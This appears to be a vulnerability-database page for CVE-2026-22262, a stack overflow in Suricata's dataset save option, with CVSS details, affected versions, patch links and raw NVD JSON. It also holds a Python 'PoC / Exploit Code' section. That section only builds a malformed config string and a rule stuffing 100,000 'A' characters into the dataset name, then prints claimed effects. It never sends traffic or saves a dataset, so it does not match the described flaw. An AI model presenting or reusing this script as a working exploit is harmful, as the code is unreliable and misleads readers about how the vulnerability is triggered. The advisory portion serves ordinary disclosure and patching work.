Security Vulnerability Report
中文
CVE-2026-22262 CVSS 5.9 MEDIUM

CVE-2026-22262

Published: 2026-01-27 19:16:14
Last Modified: 2026-01-29 21:01:55

Description

Suricata is a network IDS, IPS and NSM engine. While saving a dataset a stack buffer is used to prepare the data. Prior to versions 8.0.3 and 7.0.14, if the data in the dataset is too large, this can result in a stack overflow. Versions 8.0.3 and 7.0.14 contain a patch. As a workaround, do not use rules with datasets `save` nor `state` options.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
Suricata < 7.0.14
Suricata 8.0.0 - 8.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22262 PoC - Suricata Dataset Stack Buffer Overflow # This PoC demonstrates the vulnerability by creating a rule with an oversized dataset # Configuration for Suricata to trigger the vulnerability suricata_config = """ alerts: - outputs: - fast: enabled: yes filename: /var/log/suricata/fast.log datasets: # Malicious dataset with oversized data that triggers stack buffer overflow malicious_data: initial-state: yes save: yes type: string share: yes """ # Generate large payload that exceeds stack buffer size def generate_large_payload(size=100000): """Generate payload larger than stack buffer can handle""" return "A" * size # Create a rule that uses the dataset with save option malicious_rule = "alert http any any -> any any (msg:\"Test oversized dataset\"; dataset:set,malicious_data,{}; noalert;)".format(generate_large_payload(100000)) print("CVE-2026-22262 PoC") print("=" * 50) print("Vulnerable Component: Suricata Dataset Save Feature") print("Attack Vector: Send HTTP traffic triggering rule with oversized dataset") print("Expected Result: Stack buffer overflow, process crash") print("\nMitigation: Upgrade to Suricata 8.0.3 or 7.0.14")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22262", "sourceIdentifier": "[email protected]", "published": "2026-01-27T19:16:14.340", "lastModified": "2026-01-29T21:01:55.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine. While saving a dataset a stack buffer is used to prepare the data. Prior to versions 8.0.3 and 7.0.14, if the data in the dataset is too large, this can result in a stack overflow. Versions 8.0.3 and 7.0.14 contain a patch. As a workaround, do not use rules with datasets `save` nor `state` options."}, {"lang": "es", "value": "Suricata es un motor IDS, IPS y NSM de red. Mientras se guarda un conjunto de datos, se utiliza un búfer de pila para preparar los datos. Antes de las versiones 8.0.3 y 7.0.14, si los datos en el conjunto de datos son demasiado grandes, esto puede resultar en un desbordamiento de pila. Las versiones 8.0.3 y 7.0.14 contienen un parche. Como solución alternativa, no utilice reglas con las opciones 'save' ni 'state' de los conjuntos de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.14", "matchCriteriaId": "5302B0F0-AF2D-4140-BC66-9186EF7E455D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.3", "matchCriteriaId": "E7DA8362-52A2-4ACC-83F7-CA2E77AE89C6"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/commit/0eff24213763c2aa2bb0957901d5dc1e18414dbf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/commit/27a2180bceaa3477419c78c54fce364398d011f1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/commit/32609e6896f9079c175665a94005417cec7637eb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/commit/32a1b9ae6aa80a60c073897e38a2ac6ea0f64521", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/commit/d6bc718e303ecbec5999066b8bc88eeeca743658", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/commit/d767dfadcd166f82683757818b9e46943326ac90", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/security/advisories/GHSA-9qg5-2gwh-xp86", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://redmine.openinfosecfoundation.org/issues/8110", "source": "[email protected]", "tags": ["Permissions Required"]}]}}